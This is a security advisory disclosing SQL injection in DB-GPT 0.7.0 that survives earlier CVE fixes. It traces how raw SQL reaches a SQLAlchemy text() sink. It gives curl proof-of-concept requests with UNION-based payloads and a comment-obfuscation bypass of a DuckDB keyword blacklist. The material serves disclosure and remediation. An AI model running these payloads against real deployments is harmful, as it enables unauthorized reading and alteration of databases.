Description
An SQL injection was found in DB-GPT 0.7.0 despite fixes for prior CVEs (CVE-2024-10835 and CVE-2024-10901). Both /v1/editor/sql/run
and /v1/editor/chart/run
endpoints remain vulnerable to SQL injection. The previous patches implemented blacklist-based protections for DuckDB connections, but missed the path allowing direct execution of user-provided SQL without proper parameterization.
The prior incomplete fix:
- Added security controls exclusively for DuckDB connections.
- Used a blacklist approach that can be bypassed with SQL obfuscation.
- Left all other database types (MySQL, PostgreSQL, etc.) completely vulnerable.
- Failed to implement proper parameterized queries via SQLAlchemy.
Source - Sink Analysis
(@RT optional if you want to add code, can just keep the text but remove code)
- Source:
editor_sql_run()
in/packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/editor/api_editor_v1.py
- Receives raw SQL input via HTTP POST:
@router.post("/v1/editor/sql/run", response_model=Result[SqlRunData]) async def editor_sql_run(run_param: dict = Body()): # ... sql = run_param["sql"]
- Intermediate: DuckDB-only blacklist filtering in
editor_sql_run()
- Attempts to filter dangerous operations but only for DuckDB:
if db_type == "duckdb": dangerous_keywords = [ # ... "copy", "export", "import", "load", "install", # ... ] sql_lower = sql.lower().replace(" ", "") if any(keyword in sql_lower for keyword in dangerous_keywords):
- Intermediate:
conn.query_ex()
call ineditor_sql_run()
- Passes raw SQL directly to database connector:
colunms, sql_result = conn.query_ex(sql, timeout=30)
- Sink:
query_ex()
in/packages/dbgpt-core/src/dbgpt/datasource/rdbms/base.py
- Executes raw SQL directly without parameterization:
def query_ex(self, query: str, fetch: str = "all", timeout: Optional[float] = None): # ... with self.session_scope() as session: sql = text(query) cursor = session.execute(sql)
Proof of Concept
For any non-DuckDB database (completely unprotected):
curl -X POST "http://localhost:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{
"db_name": "mysql_database",
"sql": "SELECT 1 as test UNION ALL SELECT table_name FROM information_schema.tables--"
}'
For the chart endpoint:
curl -X POST "http://localhost:5670/api/v1/editor/chart/run" \
-H "Content-Type: application/json" \
-d '{
"db_name": "postgres_database",
"chart_type": "bar",
"sql": "SELECT 1 as label, 2 as value UNION ALL SELECT table_name, 1 FROM information_schema.tables--"
}'
For DuckDB (bypassing the blacklist protection):
curl -X POST "http://localhost:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{
"db_name": "duck_db",
"sql": "SELECT * FROM (SEL/**/ECT CURRENT_SETTING(\"access_mode\") as a, 1 as b);"
}'
Impact
Despite the fixes implemented for CVE-2024-10835 and CVE-2024-10901, attackers can still:
- Execute arbitrary SQL commands on any connected database.
- Extract sensitive information from all database types.
- Modify or delete database contents.
Fix
- https://github.com/eosphoros-ai/DB-GPT/pull/2650